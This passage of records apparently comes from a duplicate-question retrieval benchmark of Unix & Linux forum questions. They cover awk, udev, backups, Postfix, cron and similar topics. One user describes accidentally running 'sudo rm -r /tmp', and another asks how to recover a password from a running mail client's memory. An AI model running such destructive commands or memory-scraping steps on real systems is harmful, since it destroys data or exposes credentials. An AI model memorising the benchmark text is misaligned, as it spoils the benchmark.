are they used for and what are the consequences for overwriting them?"} {"_id": "111542", "title": "what is awk '{print $1+0.45 \" \" $2 \" \" $3 }' file1> file2?", "text": "What does `awk '{print $1+0.45 \" \" $2 \" \" $3 }' positionXYZ > positionX0.45YZ` mean? Does it mean changing a row in the first file and put the new data into the second one?"} {"_id": "149920", "title": "Deleted /tmp accidently", "text": "Accidently, I ran `sudo rm -r /tmp`, is that a problem ? I recreated it using `sudo mkdir /tmp`, does that fix the problem ? After I recreated the directory, In the **places** section in the sidebar in nautilus in Ubuntu 14.04 I can see /tmp , which wasn't there before .. Is that a problem ? One last thing, do I have to run `sudo chown $USER:$USER /tmp` to make it accessible as it was before .. Would there be any side-effects after this ? By the way, I get this seemingly-related error whenI try to use bash autocompletion > bash: cannot create temp file for here-document: Permission denied"} {"_id": "28939", "title": "How to delete the oldest directory in a given directory?", "text": "> **Possible Duplicate:** > Shell script for moving oldest files? I have a backup directory that stores `x` other directories that require backuping. I need something that will run before another directory is moved to the backup, that will check if the number of directories reached `x` and if it has, it will delete the oldest directory. It should be done in a `bash` script."} {"_id": "111541", "title": "Passing escape sequences to shells within ansi-term in Emacs", "text": "In a regular terminal (e.g. iTerm2 on OS X) I can connect to a database, e.g. > psql .... and then, as I type my command in `psql`, e.g. $ select foo from bar I can move around (as I type psql commands) using the standard `Alt+b` and `Alt+f`. However, if I try to do this in a shell within Emacs (`ansi-term`), it doesn't work. More specifically, if I start a shell (e.g. Bash) within `ansi-term`, the keystrokes `Alt+b` and `Alt+f` work fine in the Unix shell (in this case, Bash), **BUT** if I then drop into `psql` from within the shell, the keystrokes `Alt+b` nor `Alt+f` stop working (the keystrokes won't move the cursor, and I can't keep typing commands properly anymore) Why is this? And how can fix this behavior? ## Update 1: I narrowed the problem and the line in my `.zshrc` that causes this behavior is the following one: TERM=xterm-256color I have this line because its's the best solution that I found to fix the problem that I report in this thread: Emacs multi-term not displaying special characters correctly ## Update 2 (solution, but why?): I found the solution in this thread: Weird character zsh in emacs terminal. As the top answer says, I had to create `eterm-color` `terminfo` by using following command: (note that the `terminfo` path may be different from your system) # If you use Cocoa Emacs or Carbon Emacs tic -o ~/.terminfo /Applications/Emacs.app/Contents/Resources/etc/e/eterm-color.ti"} {"_id": "149925", "title": "Xvfb ignores bitdepth", "text": "I'm tryging to obtain screen captures form application that runs on Xvfb but all the captures came in 8bppx I run Xvfb like this as some other post stipulates. /bin/Xvfb :1 -screen 1 1600x1200x24+32 If I use a real X server they come ok at 32bppx. Any idea or this is a limitation of Xvfb?"} {"_id": "149924", "title": "Changing system volume also changes Spotify volume (Arch Linux)", "text": "This is something that has been bugging me for awhile and I haven't been able to find a fix yet. Whenever I change the system volume using the hardware volume keys on my laptop, it also changes the Spotify volume (it moves the Spotify volume slider as well as the system volume slider). Is there a way to prevent this from occurring? I've searched around for awhile and haven't found anything. I have looked at Arch's awesome wiki, but I haven't found anything that helped the problem. A similar issue is described here on the wiki, but it didn't solve the problem. This issue has occurred on all the desktop environments I've used on Arch so far. XFCE, Gnome, and Cinnamon (what I'm currently using) all suffer from this. I believe I am using pulseaudio for my audio server. I am also using the Linux Preview of Spotify which I installed from the AUR. If someone posts a solution that works, I will be sure to add it to the Arch Wiki for others to reference."} {"_id": "149927", "title": "Text processing using unix tools", "text": "I have a file in the following format. abc|xyz|mno x up x up up x x x up abc|xyz|mno x x x up x x .... .... Basically the first line of the file are device names `(|ed)` and following lines are states of the devices. I would like the output to be in the following format: abc,x|xyz,up|mno,x abc,up|xyz,up|mno,x abc,x|xyz,x|mno,up abc,x|xyz,x|mno,x abc,up|xyz,x|mno,x .... .... Do you have any pointers?"} {"_id": "111545", "title": "Mysql query resultset in bash script", "text": "I am using the bash script to connect to the mysql database and execute a query. I use the below script to connect to the database and execute the query. #!/bin/bash Total_Results=$(mysql -h server-name -P 3306 -u username-ppassword -D dbname<<<\"select URL from Experiment where URL_Exists = 1\"); for URL in \"$Total_Results\"; do echo $URL var=$(curl -s --head $URL | head -n 1 | grep \"HTTP/1.[01] [23]..\") echo \"$var\" if [ -z \"$var\" ] then echo \"Ok we do not have a valid link and the value needs to be updated as -1 here\" else echo \"we will update the value as 1 from here\" fi done The problem is the result set is considered as a one whole result and I am getting inside the else loop only once (we will update the value as 1 from here is printed only once). I have 2500 valid URLs and I expect 2500 echoes of `we will update the value as 1 from here`. How can I process each and every row as a single result from mySQL query?"} {"_id": "110496", "title": "Cloned Linux system and /etc/udev/rules.d/70-persistent-net.rules", "text": "I set up an Ubuntu system and configured it properly, including defining `eth0` in `/etc/network/interfaces`. I then imaged that system and cloned it on a new system. When I booted up the system the first time all was good, but a few reboots later I was greeted with the network config timing out. When I logged in I found that `eth0` was not available. My initial research let me to try `ifdown -a` and `ifup -a` which I did a few times to no apparent effect. Research eventually pointed me to `/etc/udev/rules.d/70-persistent-net.rules`, where I discovered that the MAC address for the new system had created eth1. Good idea, but not what I wanted to happen. When I booted up just now, I found that `/etc/udev/rules.d/70-persistent- net.rules` now has six entries for six different HW Addresses, which I find strange as there is only one interface. My question is: did my use of `ifup -a` somehow create new MAC addresses to be created? If not, are there any thoughts on how this happened? I altered `/etc/udev/rules.d/70-persistent-net.rules` to name the current HW Address `eth0` and it seems to be working, but can I be assured that the address won't change again on a reboot?"} {"_id": "17243", "title": "Recover formatted ext3 partition", "text": "Suppose you have an ext3 partition which was unfortunately formated as ext4 partition (and where now are some but not a lot new files on it). Is there any way to recover (some) files from the old ext3 partition?"} {"_id": "82997", "title": "Create my own disk server", "text": "I have been wondering how all these small nas boxes that run linux can share over network and usb. The network part is totally under control, but I am completely at a loss on how I could hook up a computer to my server through USB cable, and get a share. Is this done with some specific hardware or is this done through software ?"} {"_id": "37950", "title": "Deleting files by age", "text": "Is there a command to delete all the files in a directory that haven't been modified in _N_ days? I need to clean up some old logs."} {"_id": "108674", "title": "How to FILTER the files with filename and then DELETE the OLDEST file from there?", "text": "I create and keep the following automated backup files e.g.: fruits_29-12-2013.gz fruits_30-12-2013.gz fruits_31-12-2013.gz sweets_01-12-2013.gz sweets_02-12-2013.gz sweets_03-12-2013.gz .. actually many of them in the same folder. _(But then it's a problem to house keeping them manually but I still have to. Because after a month, all are taken up the disk space. So I need to clean up the latest files, accordingly.)_ How to automatically `DELETE` the `OLDEST` file with name starts with `fruits`? _(Then I'll put that script/command in the daily crons.)_"} {"_id": "26566", "title": "put tab before every output line on AIX/ksh", "text": "0:root@SERVER:/root # echo \"something\" | sed -e 's/^/\\t/g' tsomething 0:root@SERVER:/root # AIX/ksh .. why doesn't it works? I just want to put a \"tab\" before every line!"} {"_id": "26567", "title": "Alt+tab on Fluxbox", "text": "I've been using fluxbox on my netbook, and have been very pleased. That is, with everything but one feature. I would really like it if I could use fluxbox with the added functionality that when I use alt+tab it will show me the windows I am switching between. (As it does in Windows/Mac/GNOME/KDE/Xfce/...). Is there some app I can install that would do that? Or is the only resort to use a different GUI?"} {"_id": "107891", "title": "\"unknown partition table\" - misconfigured kernel", "text": "I was compiling a custom linux kernel for a newly installed machine, and after booting into the new kernel (3.12), the init process fails to find a root device, which I traced to the system getting an `unknown partition table` error on the device in question (`/dev/sda`). The generic kernel boots up and mounts the root partition just fine. I cannot seem to find anything that looks relevant in the kernel config, what could it be missing?"} {"_id": "26565", "title": "Strange error with ccsm (fedora 16) 32 - bit", "text": "I don't know if anyone else has experienced this, and I'm not sure what information you need (please ask if there is anything), but ccsm keep crashing because > /usr/bin/python keeps getting killed by signal 11 (sigsegv). Is this a known issue, can I do anything to fix this? I have researched other bugs, and none seem to match this one [...@localhost ~]$ ccsm Backend : ini Integration : true Profile : default Adding plugins Initializing core options...done /usr/lib/python2.7/site-packages/ccm/Window.py:92: Warning: g_object_set_qdata: assertion `G_IS_OBJECT (object)' failed self.LeftPane.pack_start(page.LeftWidget, True, True) /usr/lib/python2.7/site-packages/ccm/Window.py:95: Warning: g_object_set_qdata: assertion `G_IS_OBJECT (object)' failed self.show_all() /usr/lib/python2.7/site-packages/ccm/Widgets.py:1570: Warning: g_object_set_qdata: assertion `G_IS_OBJECT (object)' failed self._table.attach (button, col, col+1, row, row+1, 0, xpadding=TableX, ypadding=TableY) Loading icons... /usr/lib/python2.7/site-packages/ccm/Widgets.py:1575: Warning: g_object_set_qdata: assertion `G_IS_OBJECT (object)' failed self.show_all () Initializing compiztoolbox options...done Segmentation fault (core dumped)"} {"_id": "26561", "title": "Output the changes to a log file", "text": "If I use > > tail -f *filename* > I get a real nice display of whatever is changing in a given file. However, sometimes I want to be able to search this text or otherwise look it over slowly. Is there any way I can output just the changes to a log file between now and, say, whenever I hit `Ctrl`-`C`?"} {"_id": "126463", "title": "Getting non-stored password from Icedove", "text": "I've recently changed my mail password (because of Heartbleed), but I've forgotten the new one. When entering the new password in Icedove, I didn't think of clicking \"remember password\", but the instance of Icedove is still running, and still knows how to connect to the server, so the password must be stored _somewhere_ in the process. Of course, it cannot be found in the stored passwords list because I didn't tell Icedove to store it. My question therefore is: > Is there any way to recover the password from the running process? Since this running Icedove process is the only place that has the new password, anything involving closing that process naturally won't work. I'm using Icedove 17.0.10"} {"_id": "126467", "title": "How to create infinite pipe of strings in bash", "text": "I have about 10 links in file links.txt. I download them through cat links.txt | xargs -i --max-procs=4 bash -c \"wget {}\" I whould like do it repeatedly like while : do cat links.txt | xargs -i --max-procs=4 bash -c \"wget {}\" done Before the next iteration of while loop it waits all subprocesses to be finished. But I would like to continue downloading (take url from beginning of the file) when there is an available thread. How to do that? May be I can make infinite pipe of strings?"} {"_id": "126466", "title": "Is the double dash still the posix standard for long switches?", "text": "I've read several question about double dash: Single dashes `-` for single-character options, but double dashes `\\--` for words? What does `\\--` (double-dash) mean? (also known as \u201cbare double dash\u201d) However I remember about a teacher 4 years ago telling me that `\\--` was the posix way of dealing with long switches like `\\--help` or `\\--color=`. Today, I'm using a lot of command where this rule is not respected at all and the best example I can came up with is `find` where no long switches takes a double-dash even with the very annoying `AIX find`. Was my teacher wrong? or does the rule changes since (which seems unlikely)? And finally, is there any `posix` rules about the length of option and `-` or `\\--` ?"} {"_id": "126465", "title": "Cisco VPNC + get time out on target machine", "text": "I am running VPNC on linux red-hat machine ( version 6.3 ) , And my VPN connection seems to be timing out after 10-20 min . If it goes unused for more than a few minutes, I have to kill VPNC and run it again. The half solution was to do a ping to a computer that's behind the VPN, in order to keep the connection open. ( but this hold the connection only for 10 min I also add the line \" DPD idle timeout (our side) 0\" in /etc/vpnc.conf as said in some forums , But this hold the connection only for 20 min -:( Is there a way to extend the idle timeout for VPNC? I was try to disable the time out by the following ideas , but still after 15-20 min I lose connection on the target machine"} {"_id": "126464", "title": "Tools to manage a custom installation prefix for software compiled from source?", "text": "What package managers exist which can handle compiling and installation development version (git head) into a configurable installation prefix? I.e. by typing a command, I want to be able to: * update to the last development version of the software I am installing (using http direct download, Git, Mercurial or any other SCM) * launch the compilation with the \"right options\" passed to `configure` or CMake * install the software in a specific installation prefix * update the environment variables in an appropriate way (i.e. modify `PATH` or `LD_LIBRARY_PATH`, etc.) Basically, it boils down to a distribution independent tool that would behave like `emerge` from Gentoo or `pacman`/`yaourt` from Arch on a particular subset of software (installed in a separate, customizable, installation prefix). So far I am aware of: * RobotPkg * LinuxBrew (experimental) * Gentoo Prefix Is there any other tools like these ones out there?"} {"_id": "126469", "title": "Which distributions maintain a kernel package with grsecurity support", "text": "I know that I can apply the grsecurity patches by compiling my own kernel. This is not a big deal to do it once, but too complex to have regular and easy kernel image updates. So I am looking for linux distributions which supports gsecurity as a kernel-package which I can easily update via a package manager. For Ubuntu there was a repository http://kernelsec.cr0.org/ which was probably trustable because it was linked by the gsecurity page. But it seems to end with kernel version 2.6.32.15. Since I am currently using ubuntu, it would be great to find something based on ubuntu or just on debian."} {"_id": "16885", "title": "How would I extract the user agent strings from a log file?", "text": "Currently I am running a command like this, to get the most requested content: grep \"17\\/Jul\\/2011\" other_vhosts_access.log | awk '{print $8}' | sort | uniq -c | sort -nr I want to now see the user agent strings, but the problem is they include several spaces. Here is a typical log file line. The UA is the last section delimited by quotation marks: example.com:80 [ip] - - [17/Jul/2011:23:59:59 +0100] \"GET [url] HTTP/1.1\" 200 6449 \"[referer]\" \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30\" Is there a better tool than awk for this?"} {"_id": "75530", "title": "Linux/GParted can see partition table but dd bs=512 count=1 can't", "text": "I have an MBR formatted sd card and when connect to a Linux machine (xubuntu 12.04) it can mount a partition and parse the file system (as can GParted). However, when I try to read the MBR from the device using dd it gives me a bunch of spurious data. Could anyone shed any light into how Linux/GParted is able to read and make sense of the MBR when dd isn't able to read the MBR. **Do they use different methods to get at the data?** I.E not open(), read() DD command is: dd if=/dev/sdb of=mbr.bin bs=512 count=1 DD output is: 1+0 records in 1+0 records out 512 bytes transferred in 0.000786 secs (651345 bytes/sec) mbr.bin dump with `hexdump -C mbr.bin` is: 00000000 04 16 41 53 4d 49 2d 53 44 03 00 00 00 00 16 f1 |..ASMI-SD.......| 00000010 00 7f 00 32 1f 5b 80 00 36 db bf bf 96 c0 00 01 |...2.[..6.......| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 6f 00 00 10 00 00 02 2e 00 00 00 00 00 00 00 00 |o...............| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000200"} {"_id": "75533", "title": "Unable to connect INTEX 3.5G (aka \u666e\u521bE003) Wireless USB modem in Ubuntu 12.04 LTS", "text": "Can anyone help me out on connecting INTEX 3.5G 7.2 Mbps (aka \u666e\u521bE003) Wireless USB modem in Ubuntu? Initially it is recognized as a storage device and the `modprobe` cmd does not create any impact on it. Here are the steps I have followed: tech@tech-Inspiron-N5010:~$ sudo usb_modeswitch -H -v 20a6 -p f00e. Looking for default devices \u2026. found matching product ID. adding device Found device in default mode, class or configuration (1). Accessing device 007 on bus 002 \u2026. Getting the current device configuration \u2026. OK, got current device configuration (1). Using first interface: 0\u00d700. Using endpoints 0\u00d701 (out) and 0\u00d781 (in). Inquiring device details; driver will be detached \u2026. Looking for active driver \u2026. No driver found. Either detached before or never attached. SCSI inquiry data (for identification). \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014- Vendor String: Modem. Model String: Disk. Revision String: 2.31. \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014- USB description data (for identification). \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014- Manufacturer: Modem Product: Modem Device. Serial No.: 000000000002. \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014- Sending Huawei control message \u2026. OK, Huawei control message sent. -> Run lsusb to note any changes. Bye. tech@tech-Inspiron-N5010:~$ sudo modprobe usbserial vendor=0x20a6 product=0xf00e. `usb-devices`: T: Bus=02 Lev=02 Prnt=02 Port=01 Cnt=01 Dev#= 7 Spd=480 MxCh= 0. D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 1. P: Vendor=20a6 ProdID=f00e Rev=00.00. S: Manufacturer=Modem S: Product=Modem Device. S: SerialNumber=000000000002 C: #Ifs= 1 Cfg#= 1 Atr=e0 MxPwr=500mA. I: If#= 0 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=(none). I have tried this all. I am using the INTEX 3.5G 7.2 Mbps (aka \u666e\u521bE003) Wireless USB Datacard modem and have tried to configure rules and modules also but nothing has worked. Can anyone tell me what is the real problem?"} {"_id": "65268", "title": "Disable repository updating in fedora", "text": "Fedora checks all repository for updating when every time i want to install some packages from yum. this is waste of time because i know they are updated! how could i disable this checking?"} {"_id": "48919", "title": "How to process these DHCP logs to be human readable?", "text": "I have this input: Sep 23 13:43 192.168.6.200 Sep 23 13:44 192.168.6.166 Sep 23 13:45 192.168.6.200 Sep 23 13:46 192.168.6.166 Sep 23 13:47 192.168.6.200 Sep 23 13:48 192.168.6.166 Sep 23 13:49 192.168.6.176 Sep 23 13:49 192.168.6.200 Sep 23 13:50 192.168.6.166 Sep 23 13:51 192.168.6.176 Sep 23 13:51 192.168.6.200 Sep 23 13:52 192.168.6.166 Sep 23 13:54 192.168.6.166 Sep 23 13:54 192.168.6.176 Sep 23 13:56 192.168.6.176 Sep 23 13:57 192.168.6.166 I need this output: Sep 23 13:43 192.168.6.200 Sep 23 13:51 192.168.6.200 Sep 23 13:44 192.168.6.166 Sep 23 13:57 192.168.6.166 Sep 23 13:49 192.168.6.176 Sep 23 13:56 192.168.6.176 So I have DHCP logs from an OpenWrt router that I generate with (I configured the dhcp server to dhcp lease to \"5m\"): logread | fgrep DHCPACK | awk '{print $1\" \"$2\" \"$3\" \"$8}' | sed 's/:[0-9][0-9] / /g' | sort -u But I need the mentioned input to be the mentioned output, how? are there any perl masters? :\\ :D"} {"_id": "75537", "title": "How to install manually from live CD?", "text": "I got a live CD and I tried to install it manually because it doesn't support installing. So I booted from live cd and did: mkfs.ext4 /dev/sda5 mount /dev/sda5 /mnt cd /mnt unsqaushfs /cdrom/casper/filesystem.squashfs mv squashfs-root/* ./ rm -r squashfs-root mount --bind /dev /mnt/dev mount --bind /sys /mnt/sys mount --bind /proc /mnt/proc chroot /mnt grub-install /dev/sda update-grub So I restarted and it said that it can't mount the filesystem. So I tried the same with ext2 because in the grub config stood `insmod=ext2` and when I tried to boot with `insmod=ext4` it said file not found. But still even with ext2 it said that it can't mount the filesystem."} {"_id": "150168", "title": "Why is the keyboard assigned the specific IRQ of 1?", "text": "Why are specific IRQ values assigned to certain devices? For example, why is the system timer assigned the value of 0 and not 10?"} {"_id": "75539", "title": "sed + how to remove character/s that start or ended on each number", "text": "How do I remove the `.` character(s) that start in the beginning of each number or end on each number? Remark \u2013 `perl` one liner also good alternative for `sed`. Example input: .23.12.44.5. .233.3.3.3 23.4.5.3.2.. ....33.2.3.45.5 .3.3.2..... Expected output: 23.12.44.5 233.3.3.3 23.4.5.3.2 33.2.3.45.5 3.3.2 (note that the lines may end and/or begin with blanks (spaces or tabs) which should be preserved)."} {"_id": "150164", "title": "Inconsistent redirection behavior ssh interactive vs commands", "text": "These work, ssh remote 'echo hi > hi.txt' echo hi | ssh remote 'cat > hi.txt' but this does not work ssh remote sh -c 'echo hi > hi.txt' I expected to produce a file on remote named hi.txt containing \"hi\". Instead I get an _empty_ file named hi.txt. The following gives the expected behavior if executed from an interactive ssh session. sh -c 'echo hi > hi.txt' What do I miscomprehend about ssh and redirection?"} {"_id": "150163", "title": "exit a script if an ls line did not find any match", "text": "I am writing this script that have this line: `ls -lrt /dir1/dir2/filename*.txt | tail -1 | awk '{print $9}' | read variable` What I wanted is to exit the script (without using if-statement) if it does not find any match."} {"_id": "150161", "title": "SSI problem with http in centos", "text": "My httpd.conf is as below. - - - AddType text/html .shtml .html Options +Includes AddOutputFilter INCLUDES .shtml .html DirectoryIndex index.shtml index.html index.php index.html.var - - - And still showing in the debug log Options +Includes wasn't set. [Thu Aug 14 01:14:26 2014] [warn] [client xxx.xxx.xxx.xxx] mod_include: Options +Includes (or IncludesNoExec) wasn't set, INCLUDES filter removed. My apache version is 2.2 & running on Centos 6. Any advice how to solve this issue."} {"_id": "65263", "title": "Getting a list of users by grepping /etc/passwd", "text": "For a homework assignment, I need to use `grep` to parse `/etc/passwd` and get a list of all users (their usernames only, nothing else). It should use a pipe, and the results should end up in the `allusers` file. This is what I have so far: grep -i etc/password | .... >allusers What am I missing?"} {"_id": "393", "title": "How to check how many lanes are used by the PCIe card?", "text": "PCI Express slots on the motherboard can be wider then the number of lanes connected. For example a motherboard can have x8 slot with only x1 lane connected. On the other hand, you can insert a card using only for ex. 4 lanes to a x16 slot on the motherboard, and they will negotiate to use only those x4 lanes. How to check from the running system how many lanes are used by the inserted PCIe cards?"} {"_id": "391", "title": "What to use to backup files, preserving ACLs?", "text": "When using the tar utility to store files in backups one loses the extended ACLs. Is there some commonly used and not hackish solution (like: create a script that will recrate the ACLs from scratch) to preserve the ACLs?"} {"_id": "92885", "title": "cron: bash syntax not working", "text": "I am trying to add following command to crontab: I=1; for X in $(/bin/ls -r /var/tmp/*); do [ $((I++)) -le 28 ] && echo \"lower\" || echo \"higher\"; done When executed on the command line (in bash), the command works fine. But when I add the line into crontab and when executed, cron complains: /bin/sh: 1: arithmetic expression: expecting primary: \"I++\" Do I need to use different syntax in cron ? **EDIT1:** I have replaced `sh` with `bash` in my `/etc/crontab`: SHELL=/bin/bash I have restarted `cron`, but following cron line still does not execute: (I=1; for X in $(/bin/ls -r /var/tmp/*); do [ $((I++)) -le 28 ] && echo \"lower\" || echo \"higher\"; done) the error suggests, that it is still being interpreted with `/bin/sh` instead of `/bin/bash`: /bin/sh: 1: arithmetic expression: expecting primary: \"I++\""} {"_id": "88590", "title": "how to create a data file with a column of date from day1 to dayN?", "text": "I was wondering if I could generate a hourly or daily time step date in a column starting from some year in the past to some day in the near past or today. to be more clear, I want to create one column of data from 2000-10-10 100 to 2012-12-31 2400. The output file will look like Date 2000-01-01 100 2000-01-01 200 2000-01-01 300 . . . . . 2012-12-31 2400"} {"_id": "399", "title": "Unix equivalent of powershell?", "text": "I've always found it awkward when complex shell commands involve parsing text output with `awk`. Basically we're converting structured data into text, then parsing the text again to get back at the structured data. `Powershell` is a Windows shell which avoids that problem by allowing you to pipe typed objects between shell commands instead of just text. **Are there any Unix shells which are object-based instead of text-based, like Powershell?**"} {"_id": "109314", "title": "Two ways to lock a password but only one to unlock", "text": "CentOS 6 Linux has two ways to lock a password: 1. `passwd -l` 2. `usermod -L` Today I found out, that they do something different. `passwd` writes two exclamation marks into the shadow file. # passwd -d test1 Removing password for user test1. passwd: Success # passwd -l test1 Locking password for user test1. passwd: Success # passwd -S test1 test1 LK 2014-01-14 0 99999 7 -1 (Password locked.) # grep test1 /etc/shadow test1:!!:16084:0:99999:7::: But `usermod` writes only one. # passwd -d test1 Removing password for user test1. passwd: Success # usermod -L test1 # passwd -S test1 test1 LK 2014-01-14 0 99999 7 -1 (Password locked.) # grep test1 /etc/shadow test1:!:16084:0:99999:7::: Is this only a cosmetic inconsistency or is there a meaning for the different lock indicators? Funny things happen, if you mix the two commands: Lock an account with `passwd`: # passwd -l test1 Locking password for user test1. passwd: Success Unlock it with `usermod`: # usermod -U test1 And surprise it is still locked: # passwd -S test1 test1 LK 2014-01-14 0 99999 7 -1 (Password locked.) Bug or feature?"} {"_id": "92888", "title": "A program that runs in a shell (e.g. pine) vs. a shell script", "text": "Having a bit of trouble finding the answer to my question, perhaps because I may be asking the wrong question. I understand bash scripts. I write them all the time to do little helpful things repeatedly. However I would like to know the difference between a shell script, and a program that runs in a shell. For example, what is pine? What language is it written in? It runs in a shell, but as far as I know it's not a shell script, it's a self-contained program that you can navigate around in, and when you exit, you return to the shell exactly where you were when you launched it. If I wanted to write a program that functions similar to pine, in that it runs in the shell as a program with various functionality, where would I begin? Where can I find some examples of programs written in this way?"} {"_id": "92889", "title": "How to tell sudo to repeat lecture once?", "text": "I'm letting one of my coding buddies have root access to my Raspberry Pi, and as I was getting everything set up, I tested sudo as him. It gave me \"the speech\": > We trust you have received the usual lecture from the local System > Administrator. It usually boils down to these three things: > > #1) Respect the privacy of others. > #2) Think before you type. > #3) With great power comes great responsibility. What I'm wondering is how to tell sudo to repeat that once. I can't find where it stores the \"warned users\" list, and I don't want to go overkill and tell it to give The Speech every time."} {"_id": "114440", "title": "Dual booting windows 8.1 and fedora 19", "text": "I am trying to dual boot windows 8.1 and fedora 19. I am in UEFI mode and using USB. I installed windows 8.1 and left some free unpartitioned space.. Now when fedora installation is going on I am stuck at installation source. The auto detect media option detects sda1 but verification says bad image."} {"_id": "114443", "title": "Screen create/resume session, run command an detatch", "text": "I am trying to make a startup script for my Minecraft severs but I can't figure out how to: If the session \"Server1\" exists, run a command in it, if it doesn't, create the session and then run the command. I have read something about a `-dRR` switch but haven't been able to use it. The script is `java -Xmx 128M spigot.jar -o true` BTW. EDIT: This is te command I've been using (can only run it once otherwise it will create news seesions) `screen -dmS Server3 bash -c '/home/server/Minecraft/BungeeCord/Server3/start.sh; exec bash'` The start.sh file contains the above code. Of course I tried to change the switch from `-dmS` to `-dRR`, but that didn't work."} {"_id": "114445", "title": "Launch a command at the end of Linux startup", "text": "I have a Raspberry without screen/keyboard/mouse that does nothing else than launching a radio stream at startup : mplayer http://95.81.146.2/fip/all/fiphautdebit.mp3 I have put this command at the end of `/etc/rc.local`. Unfortunately, 50% of the time, the playing doesn't start (maybe because the WIFI wasn't properly connected yet?) and I have to reboot to make the sound playing start. **How can I check what happened during`rc.local` startup, later, with a SSH connexion ?** _I tried with`dmesg`, but couldn't see the result of `mplayer`._ **Which is the most appropriated script to put such a command ?** (`rc.local`, `/etc/profiles` ?)"} {"_id": "114446", "title": "All occurrences of a regex get removed without using the \"global\" modifier", "text": "I have the following text in the file sentence.txt > Linux refers to the family of Unix-like computer operating systems that use > the Linux kernel. > Linux can be installed on a wide variety of computer hardware, ranging from > mobile phones, tablet computers and video game consoles, to mainframes and > supercomputers. Linux is predominantly known for its use in servers. > It has a server market share ranging between 20\u201340%. > Most desktop computers run either Microsoft Windows or Mac OS X, with Linux > having anywhere from a low of an estimated 1\u20132% of the desktop market to a > high of an estimated 4. 8%. > However, desktop use of Linux has become increasingly popular in recent > years, partly owing to the popular Ubuntu, Fedora, Mint, and openSUSE > distributions and the emergence of netbooks and smart phones running an > embedded Linux. > Linux can be installed on a wide variety of computer hardware, ranging from > mobile phones, tablet computers and video game consoles, to mainframes and > supercomputers. In this text 2 sentences repeat. It is the last sentence. Actually I just copy-pasted the 2nd sentence to the end of the text so that I have 2 occurrences of the `mobile phones` ~$ grep mobile sentence.txt Linux can be installed on a wide variety of computer hardware, ranging from mobile phones, tablet computers and video game consoles, to mainframes and supercomputers. Linux can be installed on a wide variety of computer hardware, ranging from mobile phones, tablet computers and video game consoles, to mainframes and supercomputers. Then I was wondering which occurrence would be deleted by the following regex: `[^.]*mobile phones[^.]*\\\\.` I believe that the last occurrence should be removed due to the back tracking. To verify this assumption and my understanding I applied the following: :~$ sed 's/[^.]*mobile phones[^.]*\\.//' sentence.txt > sentence2.txt Notice that I did not use `g` so that it would replace the first occurrence found (I think it would be the last sentence). But I see that both are removed! ~$ grep mobile sentence2.txt ~$ What am I doing wrong here? 1) Is my understanding of the regex that the last sentence would match first wrong? 2) Why are both sentences removed without `g`?"} {"_id": "114447", "title": "Why can't I do ls *.txt in a subshell?", "text": "~$ echo $(ls) arguments.txt cecho.sh Desktop Documents Downloads example.txt Music Pictures Public ~$ echo $(ls \"*.txt\") ls: cannot access *.txt: No such file or directory Why does the 2nd subshell command fails?"} {"_id": "114449", "title": "Cannot configure Postfix to receive mail", "text": "I try to configure Postfix on CentOs 6. I can send mails from the server just fine, but cannot receive. The Delivery Status Notification that I get is: The error that the other server returned was: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table I have used this tutorial to setup postfix. The content of `/etc/postfix/main.cf` file is: soft_bounce = no queue_directory = /var/spool/postfix command_directory = /usr/sbin daemon_directory = /usr/libexec/postfix mail_owner = postfix # The default_privs parameter specifies the default rights used by # the local delivery agent for delivery to external file or command. # These rights are used in the absence of a recipient user context. # DO NOT SPECIFY A PRIVILEGED USER OR THE POSTFIX OWNER. # #default_privs = nobody myhostname = mail.mydomain.com mydomain = mydomain.com mydestination = $myhostname, localhost unknown_local_recipient_reject_code = 550 mynetworks_style = host mailbox_transport = lmtp:unix:/var/lib/imap/socket/lmtp local_destination_recipient_limit = 300 local_destination_concurrency_limit = 5 recipient_delimiter=+ virtual_alias_maps = hash:/etc/postfix/virtual header_checks = regexp:/etc/postfix/header_checks mime_header_checks = pcre:/etc/postfix/body_checks smtpd_banner = $myhostname debug_peer_level = 2 debugger_command = PATH=/bin:/usr/bin:/usr/bin:/usr/X11R6/bin xxgdb $daemon_directory/$process_name $process_id & sleep 5 sendmail_path = /usr/sbin/sendmail.postfix newaliases_path = /usr/bin/newaliases.postfix mailq_path = /usr/bin/mailq.postfix setgid_group = postdrop html_directory = no manpage_directory = /usr/share/man sample_directory = /usr/share/doc/postfix-2.3.3/samples readme_directory = /usr/share/doc/postfix-2.3.3/README_FILES smtpd_sasl_auth_enable = yes smtpd_sasl_application_name = smtpd smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination, reject_invalid_hostname, reject_non_fqdn_hostname, reject_non_fqdn_sender, reject_non_fqdn_recipient, reject_unknown_sender_domain, reject_unknown_recipient_domain, reject_unauth_pipelining, reject_rbl_client zen.spamhaus.org, reject_rbl_client bl.spamcop.net, reject_rbl_client dnsbl.njabl.org, reject_rbl_client dnsbl.sorbs.net, permit smtpd_sasl_security_options = noanonymous smtpd_sasl_local_domain = broken_sasl_auth_clients = yes smtpd_helo_required = yes The content of `/etc/postfix/virtual` file is: user@mydomain.com mydomain.com/user In `/var/log/maillog` I don't see any information about this problem. I am new to Linux, and I would like to know how to debug or how can I fix this issue. Any help will be appreciated"} {"_id": "75309", "title": "Chaining mysqldumps commands to output a single gzipped file", "text": "Let's say I have these series of commands mysqldump --opt --databases $dbname1 --host=$dbhost1 --user=$dbuser1 --password=$dbpass1 mysqldump --opt --databases $dbname2 --host=$dbhost1 --user=$dbuser1 --password=$dbpass1 mysqldump --opt --databases $dbname3 --host=$dbhost2 --user=$dbuser2 --password=$dbpass2 mysqldump --opt --databases $dbname4 --host=$dbhost2 --user=$dbuser2 --password=$dbpass2 How do put all their outputs(assuming that the output name is $dbhost.$dbname.sql) and put it inside one file named backupfile.sql.gz using only one line of code? **Edit** : From comments to answers below, @arvinsim actually wants a compressed **archive** file containing the SQL dumps in separate files, not 